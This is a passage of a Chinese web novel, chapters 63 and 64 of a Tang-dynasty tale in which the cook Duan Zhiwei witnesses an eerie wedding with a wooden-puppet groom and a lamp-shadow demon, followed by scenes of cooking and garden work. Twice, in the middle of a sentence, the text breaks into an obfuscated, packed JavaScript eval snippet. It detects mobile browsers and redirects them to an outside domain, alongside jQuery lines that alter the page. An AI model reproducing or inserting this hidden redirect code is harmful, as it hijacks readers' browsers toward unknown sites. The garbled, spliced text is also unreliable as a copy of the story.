缓解的方式便是不停地吃美食，导致杜有容都成了长安美食通了，一说起来便是滔滔不绝、头头是道。 除了段家食肆，西市陆家的毕罗，葱馅、肉馅、蟹黄馅的皆美味，其中以蟹黄为最。 东市云来酒楼的三勒浆，胡商每年上元前夕自波斯运来，数量稀少，需提前一月预订。 美食虽好，后果也显著。杜有容成婚后火速发福了起来，段知微目测她至少胖了二十斤。不过本朝以丰腴为美，她本就生得明艳，胖了后更成了世家间名头响亮的美人。 段知微见她默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14954612|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不作声吃完两屉小笼包，心知她心情低落，便端来一碗豆浆，问道：“又是谁惹到你了，大小姐？” 杜有容郁郁道：“碑石都挑好了，选了柳州最上等的金石，费了不少银钱。我那夫君还哭了几场，结果刘家突然来信，说他姑母的心疾好了。” “那是好事啊。”段知微道。 杜有容翻了个白眼：“那裴家姑母是个厉害的，我刚嫁过去便磋磨我，要给我立规矩。要我说，她还是……” 丫鬟黄莺忙捂住她的嘴：“娘子，这话可不能再说了！” 杜有容郁闷道：“又没有外人。” 黄莺压低声音道：“小心隔墙有耳。” 段知微心下一动，问道：“裴家姑父可是金吾卫右中郎将？” 杜有容坏笑道：“我那冷面表哥倒是与你无话不谈。”她叹息一声，又道：“刘家长子成亲的事也与你说了吧？你看这叫什么事？长辈病未痊愈，小辈便急着成婚，还挑了清明。清明乃大节，裴家规矩多，还要祭祖呢。刘家发了喜帖，还非要我们去，裴君不得空，竟让我一人去了” 黄莺见多识广，低声道：“哪有正经人家清明成亲的？何况是四品大员家。定是看裴家姑母病重，随意办个婚礼冲冲喜。” 杜有容恍然大悟，神色稍霁：“那说得通了。” 她转头对段知微道：“你与我表哥尚未成亲，与他同去婚礼恐不合礼数。不如你扮作我表妹，与我一同前往，也好有个伴。” 段知微对那诡异的婚礼也生了好奇，又放心不下袁慎己，便应了下来。她还未参加过贵族婚礼，想来定有一顿美味的烧尾宴。 想到那做工繁复的汤浴绣丸、葱醋鸡、曼陀样夹饼、糖酪浇樱桃……段知微嘴角不禁微微上扬。 清明当日，雨势滂沱。所幸杜有容家的马车用料厚实，很能遮风挡雨。段知微随她下了马车，见刘府门口两只红灯笼在风雨中胡乱飘摇。 刘府管事在门口迎客，脸上并无喜色，勉强挤出一丝笑容。 杜有容瞥他一眼，低声对段知微道：“笑得比哭还难看，想来那裴家姑母定是难好了……” 刘府气派非凡，前庭开阔，青石板铺地，两侧卧着栩栩如生的石狮子。家奴引着二人穿过错落有致的楼阁连廊，门窗上雕刻着梅兰竹菊，段知微不禁赞叹其真是繁盛气派。 杜有容冷笑一声：“刘家几代在金吾卫任职，颇受圣宠，捞了不少油水。裴家姑母眼高于顶，去年我婆母想为刘家长子说亲，相中了我堂妹，她却嫌杜家门楣低，不在五族之中。她那儿子个头不高，看上去柔柔弱弱的，难道还指望博陵崔氏的娘子下嫁？如今为冲喜，不知随意娶了哪家女儿，连我婆母再三打听，刘家也不肯说。依我看，定是没入博陵崔氏的眼，随意找了个小门小户的，没脸面说……” 她因杜家被嫌弃，郁闷许久，此刻说起话来，颇有些扬眉吐气之意。 二人被引至正厅。厅内雕梁画栋，斗拱层层叠叠。因有喜事，地上铺了厚厚的正红色茵褥，食案皆为贵重乌木，光滑如镜，茶盏则是珍贵的粉色汝窑。段知微摸了摸食案，又拿起茶盏仔细望了一会儿，颇为羡慕。 刘裴两家皆是世家大族，亲友众多，正厅内竟然已经坐满了，互相敬酒饮茶，很是热闹。 裴家的席面设在金吾卫后头，段知微未提前告知袁慎己，今日见了他，颇有些缩手缩脚。 果然见袁慎己寻了个空转头望她，轻声道：“胡闹。” 杜有容说多了话，饮了好几壶饮子，便要起身去净手。未几，她慌慌张张回来，脸色苍白，似受了极大惊吓。 她先看了一眼段知微，而后急唤袁慎己，声音凄厉：“表哥！你还记得我们有个小表妹，闺名唤柳芽的……” 杜有容的母亲与袁慎己的母亲是亲姐妹，同出于蒲州河东柳氏。她们还有个妹妹，生了个女儿，如珠如宝养到十六岁，可惜嫁到长安后不到一年便患风疾去世。 杜有容声音沙哑：“我方才在后院见到她了！她摘了些柳条编成环戴在头上，还冲我笑呢！” 63. 第六十三章 灯影里的妖怪 这边段知微拍着杜有容的肩宽慰道：“这怎么可能，定然是你看错了。” 再者插杨柳乃是清明传统习俗，都传言清明日妇女结杨柳环佩于发髻之上能使得红颜不老，定然是某位爱美的娘子在那结杨柳环佩戴。 正说话间，身后传来环佩叮当，十余名侍女鱼贯而入，手中或捧白瓷盘，或执玉壶，想来宴席要开始了。 毕竟正厅还坐着许多人，有些还是杜有容的亲戚，她只得压下疑惑，规矩坐下。 为着这顿贵族的豪华烧尾宴，段知微朝食也没怎么用，就吃了两口胡饼，眼下极其期待地盯着侍女手上的盘子。 只是...... 想象中的驼峰羹、炙鹿肉、樱桃煎是一个也没有，精致的盘子中只摆着寒食浆、寒食面，枣饼、馓子等。 全部都是清明寒食特有的冷食。 虽说段知微是真饿了，但是面对婚礼上的一堆冷食，她与杜有容面面相觑，还是没敢动筷子，显然旁人也这么想，热闹的正厅突然鸦雀无声了起来。 金吾卫中郎将刘沛也是个身形魁梧的中年男人，只是看上去憔悴又苍老，他站在正厅中间对着众人一拱手抱拳道：“多谢各位来参加小儿婚礼。” 而后便默默落座于高堂，高堂另一侧则是坐着个头发雪白的老妇人，穿一身朴素黑裙。 段知微悄悄对着杜有容问道：“那就是磋磨你的裴家姑母？” 杜有容看上去也很茫然：“不是啊，那位最喜穿金戴银，长子结婚怎会做此等朴素打扮，想必是亲家......” 二人正说着，段知微觉得一阵阴风掠过，吹得她后颈发凉，抬头一看，新娘新郎入场了。 乐声响起，却不是寻常的喜庆曲调，而是带着几分凄婉的丝竹声。众人循声望去，只见新娘身着传统嫁服，头戴花钗冠，手持团扇遮面，在丫鬟搀扶下缓步而来。 那嫁衣绣工精致，金线在烛光下熠熠生辉，新娘步履僵硬，每一步都像是被人提着线在走。团扇后的面容若隐若现，隐约可见一抹惨白。 而新郎......新郎竟是一具桐木制成的木俑! 木俑是被两个家奴用一辆木板车拖进正厅内的，头戴黑色幞头，穿着朱红色的圆领袍服，上绣着长安如今最时兴的缠枝葡萄纹。 来客中有不少在金吾卫任职的武官，见此诡异场景，哪里还能坐得住，只见一络腮胡的武将一脚踹了面前食案，案上寒食粥流了一地，他指着刘沛道：“这是什么妖邪婚礼？怕不是巫蛊之术，刘中郎将，身为金吾卫怎能做此邪术，我定去圣人那参你一本！” 刘沛一脸孤苦无奈，只默默低头不说话，倒是一旁的老妇，只挥了挥袖子，那武官突然收了声，两眼发直的坐下。 两个丫鬟赶紧跑过去扶正食案，擦干净地上的麦粥，见如此情景，其他客人都不敢再出声反对。 那个木俑关节处雕刻精细，手指可以活动，拜堂时甚至能跟着新娘的动作弯腰。 幸而这诡异的婚礼仪式并没有多久，只一小会儿便结束了，高堂上坐的老妇看上去很满意，朝着刘沛点点头，起身走了。 那刘沛毕恭毕敬地把老妇送出门后，这才回来正厅，跟来往宾客一个个打招呼，满厅没有人理他，只急急往外走。 段知微吓得手上发冷发麻，袁慎己挡在前头，把她跟杜有容二人护送上马车。 外头风雨飘摇，电闪雷鸣，袁慎己将杜有容送回裴府，又将段知微送到食肆后，天色将将暗下来，宵禁的暮鼓自远处敲响。 食肆众人都已经用完暮食正准备回后院歇着，见他二人回来，段大娘道：“怎么这个点才回来，那刘府的婚宴味道如何，可有吃到你心心念念的樱桃毕罗？” 段知微的手还凉着，被袁慎己紧紧攥住，回到了熟悉的、温暖的食肆以后，她悬着的心终于稍稍放下些，而后她对着段大娘问道：“有吃的吗？我饿了。” 诡异的婚礼氛围，满桌没有热气的寒食，整个厅堂没有一个来客敢动筷子。她相当于一天都没有吃饭。 这两日食肆生意都出奇的好，火房不剩多少新鲜菜。她满火房一找，从梁上拿下来几根腌制的腊肠，加些荠菜碎，跟生米一起扔锅里煮。 饥肠辘辘的时候，没有什么比一碗热气腾腾的腊肠菜饭更能慰藉人心的了。段知微把木盖掀开的瞬间，馥郁的香气扑面而来。 盛上一碗，饱满的米饭粒粒分明，浸润在油脂里，芥菜碎被米饭的热气烘得软糯，腊肠“滋滋”冒油。 二人默不作声的把一大碗饭全部吃完，段知微这才觉得没有下午那种饥寒交迫、胆战心惊的感觉了。 金吾卫的武官们还真是说到做到，第二日御史台的弹劾折子便如同雪花一般砸向了大明宫，整个长安都在传右中郎将这场婚礼，定然是刘沛为病重的妻子所设，意为冲喜之用。 圣人只好暂免了刘沛的官职，由袁慎己暂代，虽是暂代，但由于二人同为正四品下，也算不得升官。 金吾卫负责全长安的防卫，这一暂代，足可见圣人对袁慎己的重视，很快袁府门口便停上了许多马车，都是来送贺礼的同僚。 为躲清闲，袁慎己又到了食肆暂住，他对这一任命并不是很高兴，他认为，男子汉大丈夫行事定当光明磊落，那刘沛看上去心累交瘁，正妻似乎也是命悬一线，这种时候把人家官职顶了，显然非君子所为。 见他成日眉头紧锁，段知微只好道：“不若去刘府探望一下，向刘中郎将打探一下事情前因后果，若是可行，你写一封折子，求圣人收回成命便是。” 她这话说得幼稚，圣人乃天子，怎能轻易收回成命？不过去刘府探望一下倒确实是可行。 袁慎己本欲一人前往，段知微不放心定要跟着，他也只好让她跟着，并叮嘱到若遇到事儿一定要往后躲。 段知微用力点点头。 刘府前门可罗雀，两个红灯笼不知何时被撤了下来，段知微与袁慎己在管家带领下走过曲折的回廊。 虽然刘沛被免了职，但刘府依然气派考究，□□假山嶙峋，流水潺潺，侍女家奴在其中侍弄花草，只是各个脸上都有些阴云密布。 更别提府邸的主人刘沛了，他勉强站起来与袁慎己互了个礼，又跌坐回去。 袁慎己武人心思，不喜假意客套，开门见山地问了刘沛那日婚礼到底是何情况，长安城议论纷纷，那日客人大都非富即贵，彼此或多或少有些姻亲，有些竟宣称在婚礼的宾客中见到了逝去的亲朋好友， 圣人最不喜鬼神之说，听了这些流言，震怒的龙威全部发到刘沛身上，好在刘氏先祖救驾有功，如今也只是免了个官职而已，若后面还有其他事情发生，获罪怕是难免的了。 袁慎己说得如此不客气，语气也冷硬，段知微生怕主人不喜，在后面想悄悄推他，示意他温和一点，岂料刘沛并不在意这个，竟是当场掩面大哭起来。 袁慎己见他如此，面上带了些尴尬。 待刘沛哭够，他抹着眼泪把事情老实讲了出来。 原来前些日子，一向健康的妻子竟不知为何得了严重的心疾，每每嚷着心口痛，刘沛只好四处求医，从民间出名的大夫，再到大明宫中的御医，全部找了一遍，药钱如流水般花了出去，妻子的病仍然是不见好。 一日晚上，刘沛正躺在床榻上唉声叹气，忽然见桌上琉璃灯影中缓缓走出来一位白发、身量不足三寸的老妇人。 老妇人缓缓拄着拐杖走到刘沛面前，她的眼眸浑浊不清，幽深的如同废弃枯井，却死死盯着刘沛道：“夫人病，唯我能医，何不向我祈祷？” 刘沛一向刚正不阿，又厌恶鬼神之事，一眼便认定眼前老媪是个妖怪，因此从床榻翻身而起，去书房提了先帝赐给祖父的宝剑，一下刺了过去。 想来此剑确有些真龙之气在，那老媪害怕地退了一步，又恶狠狠瞪他一眼尖声叫道：““勿悔！勿悔！”她伸出枯枝般的手指，指向床上的妻子，而后消失了。 躺在床榻上的刘妻突然捂着心口，浑身剧烈抽搐，发出痛苦的呻吟，脸色也变得铁青。 刘沛只得赶紧去请大夫，又找人夜间开坊，又将大夫带来，折腾半日，岂料大夫望一眼便无奈摇头，让刘家准备后事了。 刘沛实在没有办法，咬牙对着灯影祝祷一番，老媪再次出现，拿起桌上一碗茶念了些咒语，令刘沛给妻子灌下。 妻子这才好了些，心口也不疼了。 但显然和妖怪打交道是要付出代价的，没过几日，老媪再次从灯影中现身：“我有一女儿刚刚及笄，我见你长子生得不错，彬彬有礼，不若娶了我女儿吧。” 刘沛实在不愿，又不敢得罪她，只能道：“这若是寻常娘子也便罢了，可是这人鬼路殊，实在难遂你的心愿啊！” 老媪道：“不是真求个郎君，只需要用桐 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二人便站了起来，向刘沛保证定能请来捉妖司律令，刘沛泪流满面的将他们送出了府邸。 打探一番后却听闻独孤正在终南上一处别业间，需得两日后才回来，二人无他法，只得等着。 第二日一早，段知微正跟寻常日子一般支起锅熬煮鸭架汤头，门口又停上一辆熟悉的香车，杜有容打了帘子望她，问她要两份肉馅的玉尖面。 段知微拿着两份朝食走近，才望见她穿一身缟素，眼睛红红，不由惊讶道：“何人过世了，你还好吧?” 杜有容却没有半分伤心意思，急急咬一口玉尖面：“不妨事，眼睛是桂花油熏得，裴君姑母昨夜心疾去世了，我那夫君不吃不喝伤心一夜了，我在后头跪着，可是饿坏了。” 黄莺恨不得在后面捂她的嘴：“我的好娘子，你可别再说了......” 杜有容两个玉尖面下了肚子，好受多了，她朝着段知微摆了摆手:“行了我走了，回去还需接着跪，来得匆忙未带银钱，这两份玉尖面挂账上啊。” 她说得轻松，放下帘子就潇洒走了。段知微赶紧也换了身上银红缠枝襦裙，换了身素色，跟着袁慎己再次登门拜访。 刘沛已然哭得不能自拔：“都怪我，那老媪昨夜又自灯影而出，说自家还有个小女儿，也需寻人嫁出去，你说这婚礼再办一次，定然触怒龙颜大祸临头啊！我没忍住提起剑又刺了过去，结果......” 结果不用多说，满堂缟素和遍地哀哭便可看得出来。 一丫鬟突然跑了过来道：“主君不好了......小娘子突发心疾昏了过去。” 刘沛咬牙道：“我这就请辞，待丧期一过，携一家老小回太原，再也不踏入长安！” 这样吩咐下去，家中奴仆全都开始行动了起来，可未过一会儿，管家来报：“主君，不好了，家中所有物品都像被钉死了一样，就连一双轻便鞋履都搬不走啊！” 袁慎己闻言，立时试着低头去抬起地上那紫檀木的桌案，那桌子看上去不轻，但对一个熟练使用陌刀的武将定然是不成问题的，可他抬了半日，手上青筋爆了出来，那桌案却在地上文丝未动。 段知微挑了亭下一盆牡丹想举起，竟也如千金重，胶着在地上不能移动半分。 刘沛跪坐地上痛哭起来，来刘府凭吊的人不少，都赶来安慰他。 大慈恩寺的和尚、青云观的道士请了一堆，梵音与道文念诵了一遍又一遍，刘府的所有物件仍然纹丝不动，刘沛小女儿也昏迷在床榻之上。 众人正无奈之际，一郎君却从门外大笑进来，穿着布衣头戴木簪，那衣裳看上去像几日未洗。 刘沛本是伤心，竟见有人笑得如此开怀，当下恼怒异常，便要赤手空拳揍他一顿，被段知微拦住：“中郎将息怒，那便是捉妖司律令独孤啊！” 独孤道：“我在来的路上遇到了好丑陋的一个夜叉，抢回了你家小娘子的心肝。”说着，他从袖子里掏出一个蠕动的布袋，里面似乎装着什么活物。 他旁若无人的问刘沛：“那被偷了心的小娘子在哪儿呢，快带我去吧。” 刘沛这才如梦初醒，将他引了过去。 段知微见他们走远，又随手拎起两个小胡床，好像刘府的这些家具，又都能搬起来了。 64. 第六十四章 隐隐不安的预感 刘府的这等怪谈简直可以用荡气回肠、百回千转来说，虽然传言已经遍及了长安城的各个角落，但仍然是个用来写话本子的极好苗子。 段知微把握住了机会，每晚在灯下拿个毛笔将这故事改编了一番写上一写，又托请了甄回润色一番，送到书肆里头，店家看了几眼便也觉得甚妙，立时便把这故事买断了下来，若后期卖得好，她还能得到分成。 这边她拿着润笔费也不急着回食肆，先去东市找了个空闲的手艺人。 原先胭脂铺子后面便有一墙的花、紫藤、迎春、牵牛缠在一起，满墙满枝，段知微准备在后院里搭个木架子，把紫藤往架子上引，待细长的藤蔓全部爬满木架横梁的时候，垂下的紫色花串便会随风轻轻摇曳。 而后再在木架子底下架上个秋千，阳光透过木架罅隙洒下，斑驳光影落在紫藤萝上，那定然是极美一幅画面。 当然这都不是重点，重点是这诱人肥厚的紫色花瓣与芋泥紫薯加些蜜糖拌在一起，制成藤萝饼，吃起来香香甜甜的，又细腻绵软，真个让人回味无穷。 按照资料记载，藤萝饼应该民国时期北平饽饽铺儿的特色甜品，想来是紫藤少的缘故，后来倒是不太常见了。段知微理了一下午的后院，可算是把那花墙给整理干净了。 接下来还有个大工程，那就是整理一下被毁得极其凄惨的后院。 后院里原先有一黑一白两只小兔子，原先是袁慎己去终南山冬猎时候捉到的，觉得可爱，特意抱到食肆里送给段知微玩儿的，并且特意叮嘱了这兔子不要下锅。 段知微搂着兔子：“这么可爱的毛茸茸，我怎么会给它下锅呢，你不要小看我。” 背地里抹把汗，其实看到兔子第一眼，她是想试试《山家清供》里的名菜拔霞供的。 这两只兔子一开始小小的，甚是可爱，蒲桃很喜欢，每天都要摸上一摸，结果这两只兔子越长越大，萝卜白菜都不知费了多少，到了开春，两只兔子开始可劲儿的生孩子。 生第一窝之前，食肆众人都没有经验，段知微以为那母兔定是后院的莴苣吃得太狠了胖了一圈，没成想就在一个雨夜里，那兔子在墙根儿生了八只兔儿。 徒留段知微几人在雨里举着羊角灯目瞪口呆、风中凌乱。 这十只兔子如蝗虫压境般，不但把后院种的莴苣、青菜、萝卜消灭一空，而且立春时候买来用来迎春的宝珠茶花、玉簪花、甚至花上挂着的彩幡都被霍霍了。 那宝珠茶花卖得很贵，段大娘很愤怒。在段大娘的滔天怒火之下，段知微不得不采取了一些计生的措施。 毕竟那兔子自家亲自养的，吃又舍不得吃，卖也一时间很难卖掉，段知微试探的问了一下趴在屋檐上晒太阳的金华猫，结果这家伙说他们金华一族是贵族，只吃高级肥美的青鱼。 段知微干巴巴的说：“平常儿的小银鱼干没见你少吃一口啊。” 段大娘抱着一箱儿小兔儿坊间邻里挨家挨户的送，几家有小孩的留了几只，但就这也比不上母兔儿生崽的速度，最后还是蒲桃找了朱娘，她的同族较多，很多蜘蛛精愿意养着打发时间，而且蜘蛛只吃虫子不吃兔子，这很安全，这才把小兔子送完了。 不过几个月后段知微带着蒲桃和小狼去八字娘娘庙上香的时候，遇到好几个人蹲在庙前一脸怨念的在卖兔子，一窝儿白一窝儿黑，段知微赶紧领着两个孩子头也不回地跑了，当然这是后话了。 剩下来的那对鸳鸯，段知微用石砖垒了个兔窝儿，只留了母兔子，公兔子扔回袁慎己那让老管家看顾去了。 食肆终于清净了，望着寸草不生的后院，段知微只能带着众人把后院重新休整。 春日的阳光暖融融地洒在后院，段知微挽起袖子，将最后一捆杂草割完扔到墙角。她的额头上沁出细密的汗珠，终于松了口气。 “这块地翻好了。”袁慎己做为这场大戏的罪魁祸首，也被拉过来帮忙。他身后是一片新翻的菜地，泥土的芬芳在空气中弥漫。 段知微走过去，踮起脚尖为他擦擦汗，将手中的水壶递给他，并且给他画饼：“辛苦了。等会儿种上些菘菜、萝卜，等成熟了给你煮菘菜饺子。” 另一边，阿盘带着小狼和蒲桃在后院一角搭棚架。把竹竿一根根竖起来，再铺上一层油纸很快就在院角搭出一个结实的棚子。 段知微早就想好了，这里要挂上腌制的咸肉，让它们在春风中慢慢风干。冬日的风干肉炖煮萝卜、茨菰都很好吃。 “娘子，您看这棚子可还结实？”阿盘抹了把汗，问道。 段知微仰头看了看，阳光透过竹竿的缝隙洒下来，在地上投下斑驳的光影：“大家辛苦了，我这就去做些吃食。” 日头渐渐升高，众人的肚子也开始咕咕叫。段知微在花墙那儿收集了不少新鲜的紫藤花瓣，准备用那些作为馅料包些紫藤花团子。 大灶上的蒸笼已经冒出热气，段知微将揉好的面团分成小剂子，包入用紫藤花、蜂蜜和芝麻调制的馅料。她的手指灵巧地捏出褶皱，一个个小巧的藤萝花团子便整整齐齐地摆到了砧板上。 袁慎己不喜甜食，段大娘年纪大了也吃不了甜食，她又做了些咸口的，五香粉加盐给面团调味，捏成艾窝窝状，在面团外面粘上花瓣儿，这样每口都能有花瓣儿的清香，再用杵子捣些蒜加酱油调味，吃起来也很是鲜美。 众人正在花架子下休息、喝水，段知微从火房里头端出一盘刚蒸好的藤萝花团子。 “都来尝尝，这是我新做的。”段知微将盘子放在石桌上，又端过来一壶蜜桃蜂蜜饮子。 蒲桃迫不及待地拿起一块甜口的团子，咬了一口，眼睛顿时亮了：“这团子软糯弹牙，紫藤花的香气好浓郁！” 众人围坐在紫藤花架子下，有说有笑。 段大娘拎着菜篮和一本书急匆匆走了进来,喜气洋洋道：“哎呦呦，知微啊，你那个写得话本子老火了，我正在东市逛着呢，看书肆排了一堆人，都在买你写的这个传奇故事。” 袁慎己抢先一步接过本子，略微翻了翻，这事儿段知微也跟他讲过，他粗略翻了翻：“写得不错，就是王君不太高兴，觉得你抢了他的生意。” 段知微从他手上抢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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段大娘劝慰道：“这雨天，湿气重，这暮春又是半冷不热的，人难免不舒服，你等着，我去给你煮锅金银花草茶，熏熏喝一碗，就舒坦多了。” 一大碗清苦的金银花茶喝了下去，段知微也并没有觉得有什么变化，阿盘也体谅她，午食做了些清口小菜。 酱豆角、五香萝卜干、暴腌白菜和一砂锅炖得薄薄的粥。 雨越下越密，却有个青绿色的影子从门外冲进来。 食肆众人抬头一看，竟是苏莯，他还穿着那套青绿色的官服，虽然带着油伞，但是可能雨太密了，也可能他跑得太快了，雨水从头流到脚下，在地上汇集了一个小小的水坑儿。 段大娘忙给他送上一个干手巾：“这是怎的了，何必来这么急？苏录事是我们这儿的常客了，即使不是饭点儿过来，我们也照样接待。” 他拿起手巾抹一把脸，而后开口，或许是太震惊了，他说话还多了些结结巴巴：“不......不好了......袁都尉在终南山里头......被老虎给伤了。” 段知微手上的粥碗掉在地上，碎了两半。